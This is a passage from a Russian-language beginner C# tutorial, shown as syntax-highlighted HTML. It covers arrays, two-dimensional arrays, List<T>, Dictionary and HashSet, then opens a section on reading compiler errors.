class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"p\">)</span><span class=\"n\">sum</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"n\">scores</span><span class=\"p\">.</span><span class=\"n\">Length</span><span class=\"p\">;</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Сумма: {sum}&quot;</span><span class=\"p\">);</span><span class=\"w\">      </span><span class=\"c1\">// 430</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Среднее: {average}&quot;</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// 86</span>\n</code></pre></div>\n\n<h4 id=\"найти-максимум\">Найти максимум</h4>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">scores</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"m\">85</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">92</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">70</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">88</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">95</span><span class=\"w\"> </span><span class=\"p\">};</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">max</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">scores</span><span class=\"p\">[</span><span class=\"m\">0</span><span class=\"p\">];</span><span class=\"w\"> </span><span class=\"c1\">// предполагаем что первый — максимум</span>\n\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"n\">scores</span><span class=\"p\">.</span><span class=\"n\">Length</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">scores</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">max</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"n\">max</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">scores</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">];</span><span class=\"w\"> </span><span class=\"c1\">// нашли больше — обновляем максимум</span>\n<span class=\"p\">}</span>\n\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Максимум: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">max</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// 95</span>\n</code></pre></div>\n\n<p>Разбор по шагам:</p>\n<ul>\n<li>Начинаем с <code>max = 85</code> (первый элемент)</li>\n<li>i=1: <code>92 &gt; 85</code>? Да → <code>max = 92</code></li>\n<li>i=2: <code>70 &gt; 92</code>? Нет → <code>max = 92</code></li>\n<li>i=3: <code>88 &gt; 92</code>? Нет → <code>max = 92</code></li>\n<li>i=4: <code>95 &gt; 92</code>? Да → <code>max = 95</code></li>\n<li>Конец. <code>max = 95</code></li>\n</ul>\n<h4 id=\"заполнить-массив-вводом-пользователя\">Заполнить массив вводом пользователя</h4>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">size</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">;</span>\n<span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">numbers</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"p\">[</span><span class=\"n\">size</span><span class=\"p\">];</span>\n\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"n\">size</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">$&quot;Введите число {i + 1}: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"n\">numbers</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">());</span>\n<span class=\"p\">}</span>\n\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Вы ввели:&quot;</span><span class=\"p\">);</span>\n<span class=\"k\">foreach</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"k\">in</span><span class=\"w\"> </span><span class=\"n\">numbers</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; &quot;</span><span class=\"p\">);</span>\n</code></pre></div>\n\n<hr />\n<h3 id=\"двумерный-массив-таблица\">Двумерный массив — таблица</h3>\n<p>Двумерный массив — это как таблица (строки и столбцы).</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Создание таблицы 3×3</span>\n<span class=\"kt\">int</span><span class=\"p\">[,]</span><span class=\"w\"> </span><span class=\"n\">table</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"p\">[</span><span class=\"m\">3</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">];</span>\n\n<span class=\"c1\">// Заполнение</span>\n<span class=\"n\">table</span><span class=\"p\">[</span><span class=\"m\">0</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">table</span><span class=\"p\">[</span><span class=\"m\">0</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">table</span><span class=\"p\">[</span><span class=\"m\">0</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">;</span>\n<span class=\"n\">table</span><span class=\"p\">[</span><span class=\"m\">1</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">4</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">table</span><span class=\"p\">[</span><span class=\"m\">1</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">table</span><span class=\"p\">[</span><span class=\"m\">1</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">6</span><span class=\"p\">;</span>\n<span class=\"n\">table</span><span class=\"p\">[</span><span class=\"m\">2</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">7</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">table</span><span class=\"p\">[</span><span class=\"m\">2</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">8</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">table</span><span class=\"p\">[</span><span class=\"m\">2</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">9</span><span class=\"p\">;</span>\n\n<span class=\"c1\">// Вывод таблицы</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">row</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">row</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">row</span><span class=\"o\">++</span><span class=\"p\">)</span><span class=\"w\">       </span><span class=\"c1\">// строки</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">col</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">col</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">col</span><span class=\"o\">++</span><span class=\"p\">)</span><span class=\"w\">   </span><span class=\"c1\">// столбцы</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"n\">table</span><span class=\"p\">[</span><span class=\"n\">row</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">col</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// следующая строка</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Вывод:</p>\n<div class=\"highlight\"><pre><span></span><code>1 2 3\n4 5 6\n7 8 9\n</code></pre></div>\n\n<hr />\n<h3 id=\"list-массив-который-умеет-расти\">List — массив который умеет расти</h3>\n<p>Проблема обычного массива: <strong>размер нельзя изменить после создания</strong>. Создал массив из 5 элементов — всё, 5 и только 5.</p>\n<p><code>List&lt;T&gt;</code> — это умный массив, который сам растёт когда нужно добавить новый элемент.</p>\n<div class=\"highlight\"><pre><span></span><code>List&lt;int&gt;:  [ 10 | 20 | 30 ]       ← добавляем 40\n           [ 10 | 20 | 30 | 40 ]   ← список сам увеличился\n</code></pre></div>\n\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">numbers</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// пустой список</span>\n\n<span class=\"n\">numbers</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"m\">10</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// добавляем элементы</span>\n<span class=\"n\">numbers</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"m\">20</span><span class=\"p\">);</span>\n<span class=\"n\">numbers</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"m\">30</span><span class=\"p\">);</span>\n\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">numbers</span><span class=\"p\">.</span><span class=\"n\">Count</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// 3 — количество элементов</span>\n<span class=\"c1\">// (у массива .Length, у List — .Count)</span>\n\n<span class=\"n\">numbers</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"m\">40</span><span class=\"p\">);</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">numbers</span><span class=\"p\">.</span><span class=\"n\">Count</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// 4 — автоматически увеличился</span>\n</code></pre></div>\n\n<h4 id=\"основные-операции-с-list\">Основные операции с List</h4>\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"kt\">string</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">names</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"kt\">string</span><span class=\"o\">&gt;</span><span class=\"p\">();</span>\n\n<span class=\"c1\">// Добавление</span>\n<span class=\"n\">names</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"s\">&quot;Коля&quot;</span><span class=\"p\">);</span>\n<span class=\"n\">names</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"s\">&quot;Петя&quot;</span><span class=\"p\">);</span>\n<span class=\"n\">names</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"s\">&quot;Вася&quot;</span><span class=\"p\">);</span>\n<span class=\"c1\">// [&quot;Коля&quot;, &quot;Петя&quot;, &quot;Вася&quot;]</span>\n\n<span class=\"c1\">// Добавление в определённое место (индекс, значение)</span>\n<span class=\"n\">names</span><span class=\"p\">.</span><span class=\"n\">Insert</span><span class=\"p\">(</span><span class=\"m\">1</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"s\">&quot;Маша&quot;</span><span class=\"p\">);</span>\n<span class=\"c1\">// [&quot;Коля&quot;, &quot;Маша&quot;, &quot;Петя&quot;, &quot;Вася&quot;]</span>\n\n<span class=\"c1\">// Удаление по значению</span>\n<span class=\"n\">names</span><span class=\"p\">.</span><span class=\"n\">Remove</span><span class=\"p\">(</span><span class=\"s\">&quot;Петя&quot;</span><span class=\"p\">);</span>\n<span class=\"c1\">// [&quot;Коля&quot;, &quot;Маша&quot;, &quot;Вася&quot;]</span>\n\n<span class=\"c1\">// Удаление по индексу</span>\n<span class=\"n\">names</span><span class=\"p\">.</span><span class=\"n\">RemoveAt</span><span class=\"p\">(</span><span class=\"m\">0</span><span class=\"p\">);</span>\n<span class=\"c1\">// [&quot;Маша&quot;, &quot;Вася&quot;]</span>\n\n<span class=\"c1\">// Проверка наличия</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">names</span><span class=\"p\">.</span><span class=\"n\">Contains</span><span class=\"p\">(</span><span class=\"s\">&quot;Маша&quot;</span><span class=\"p\">));</span><span class=\"w\"> </span><span class=\"c1\">// True</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">names</span><span class=\"p\">.</span><span class=\"n\">Contains</span><span class=\"p\">(</span><span class=\"s\">&quot;Петя&quot;</span><span class=\"p\">));</span><span class=\"w\"> </span><span class=\"c1\">// False</span>\n\n<span class=\"c1\">// Поиск индекса</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">names</span><span class=\"p\">.</span><span class=\"n\">IndexOf</span><span class=\"p\">(</span><span class=\"s\">&quot;Вася&quot;</span><span class=\"p\">));</span><span class=\"w\"> </span><span class=\"c1\">// 1</span>\n\n<span class=\"c1\">// Перебор — точно так же как массив</span>\n<span class=\"k\">foreach</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"k\">in</span><span class=\"w\"> </span><span class=\"n\">names</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">name</span><span class=\"p\">);</span>\n\n<span class=\"c1\">// Обращение по индексу — точно так же как массив</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">names</span><span class=\"p\">[</span><span class=\"m\">0</span><span class=\"p\">]);</span><span class=\"w\"> </span><span class=\"c1\">// &quot;Маша&quot;</span>\n<span class=\"n\">names</span><span class=\"p\">[</span><span class=\"m\">0</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Никита&quot;</span><span class=\"p\">;</span><span class=\"w\">         </span><span class=\"c1\">// изменение</span>\n</code></pre></div>\n\n<h4 id=\"практический-пример-список-оценок\">Практический пример: список оценок</h4>\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">grades</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"p\">();</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">input</span><span class=\"p\">;</span>\n\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Вводи оценки (или &#39;стоп&#39; чтобы закончить):&quot;</span><span class=\"p\">);</span>\n\n<span class=\"k\">while</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"k\">true</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">input</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">();</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">input</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;стоп&quot;</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"p\">.</span><span class=\"n\">TryParse</span><span class=\"p\">(</span><span class=\"n\">input</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">out</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">grade</span><span class=\"p\">))</span>\n<span class=\"w\">        </span><span class=\"n\">grades</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"n\">grade</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"k\">else</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Это не число, попробуй ещё раз&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">grades</span><span class=\"p\">.</span><span class=\"n\">Count</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Оценок нет&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n<span class=\"k\">else</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">sum</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">foreach</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">g</span><span class=\"w\"> </span><span class=\"k\">in</span><span class=\"w\"> </span><span class=\"n\">grades</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">sum</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">g</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Количество оценок: {grades.Count}&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Среднее: {(double)sum / grades.Count:F1}&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<hr />\n<h3 id=\"массив-vs-list-итог\">Массив vs List — итог</h3>\n<table>\n<thead>\n<tr>\n<th></th>\n<th>Массив <code>int[]</code></th>\n<th>Список <code>List&lt;int&gt;</code></th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Размер</td>\n<td>Фиксированный</td>\n<td>Динамический</td>\n</tr>\n<tr>\n<td>Добавить элемент</td>\n<td>Нельзя</td>\n<td><code>Add()</code></td>\n</tr>\n<tr>\n<td>Удалить элемент</td>\n<td>Нельзя</td>\n<td><code>Remove()</code> / <code>RemoveAt()</code></td>\n</tr>\n<tr>\n<td>Количество</td>\n<td><code>.Length</code></td>\n<td><code>.Count</code></td>\n</tr>\n<tr>\n<td>Обращение по индексу</td>\n<td><code>arr[i]</code></td>\n<td><code>list[i]</code></td>\n</tr>\n<tr>\n<td>Перебор foreach</td>\n<td>✓</td>\n<td>✓</td>\n</tr>\n</tbody>\n</table>\n<p><strong>Правило:</strong> если не знаешь заранее сколько будет элементов или нужно добавлять/удалять — используй <code>List</code>. В остальных случаях — массив.</p>\n<hr />\n<h3 id=\"другие-коллекции-кратко\">Другие коллекции кратко</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Dictionary — словарь, ключ → значение (как телефонная книга)</span>\n<span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">dict</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Dictionary</span><span class=\"o\">&lt;</span><span class=\"kt\">string</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"p\">();</span>\n<span class=\"n\">dict</span><span class=\"p\">[</span><span class=\"s\">&quot;Коля&quot;</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">20</span><span class=\"p\">;</span><span class=\"w\">    </span><span class=\"c1\">// ключ &quot;Коля&quot;, значение 20</span>\n<span class=\"n\">dict</span><span class=\"p\">[</span><span class=\"s\">&quot;Петя&quot;</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">22</span><span class=\"p\">;</span>\n\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">dict</span><span class=\"p\">[</span><span class=\"s\">&quot;Коля&quot;</span><span class=\"p\">]);</span><span class=\"w\"> </span><span class=\"c1\">// 20</span>\n\n<span class=\"k\">foreach</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">pair</span><span class=\"w\"> </span><span class=\"k\">in</span><span class=\"w\"> </span><span class=\"n\">dict</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;{pair.Key}: {pair.Value}&quot;</span><span class=\"p\">);</span>\n\n<span class=\"c1\">// HashSet — множество уникальных элементов (дубликаты игнорируются)</span>\n<span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"k\">set</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">HashSet</span><span class=\"o\">&lt;</span><span class=\"kt\">int</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"w\"> </span><span class=\"p\">};</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"k\">set</span><span class=\"p\">.</span><span class=\"n\">Count</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// 3 (дубликаты удалены)</span>\n</code></pre></div>\n\n<blockquote>\n<p>✏️ <strong>Попробуй:</strong></p>\n<ol>\n<li>Создай массив из 5 любимых чисел. Выведи их все в цикле. Найди сумму.</li>\n<li>Создай <code>List&lt;string&gt;</code>. Добавь туда 3 имени. Удали одно. Выведи всё что осталось.</li>\n<li>Запроси 5 чисел от пользователя, сохрани в массив, найди и выведи максимум и минимум.</li>\n</ol>\n</blockquote>\n<hr />\n<h2 id=\"25-как-читать-ошибки-компилятора-не-бояться-красного\">25. Как читать ошибки компилятора — не бояться красного</h2>\n<p>Красные подчёркивания и ошибки в консоли — это не приговор. Это <strong>компилятор говорит тебе что именно не так</strong>. Он на твоей стороне.</p>\n<h3 id=\"структура-ошибки-компилятора\">Структура ошибки компилятора</h3>\n<div class=\"highlight\"><pre><span></span><code>CS0029: Cannot implicitly convert type &#39;string&#39; to &#39;int&#39;\n</code></pre></div>\n\n<ul>\n<li><code>CS0029</code> — код ошибки (можно загуглить)</li>\n<li>Текст — что именно не так</li>\n<li>Visual Studio покажет <strong>строку и столбец</strong> где это произошло</li>\n</ul>\n<h3 id=\"самые-частые-ошибки-и-что-они-значат\">Самые частые ошибки и что они значат</h3>\n<p><strong><code>CS0029: Cannot implicitly convert type 'X' to 'Y'</code></strong></p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;текст&quot;</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// нельзя положить строку в int</span>\n</code></pre></div>\n\n<p>Решение: используй правильный тип или преобразуй.</p>\n<hr />\n<p><strong><code>CS0103: The name 'X' does not exist in the current context</code></strong></p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">myVariable</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// myVariable не объявлена в этом месте</span>\n</code></pre></div>\n\n<p>Решение: проверь правописание, убедись что переменная объявлена до использования и в правильном блоке 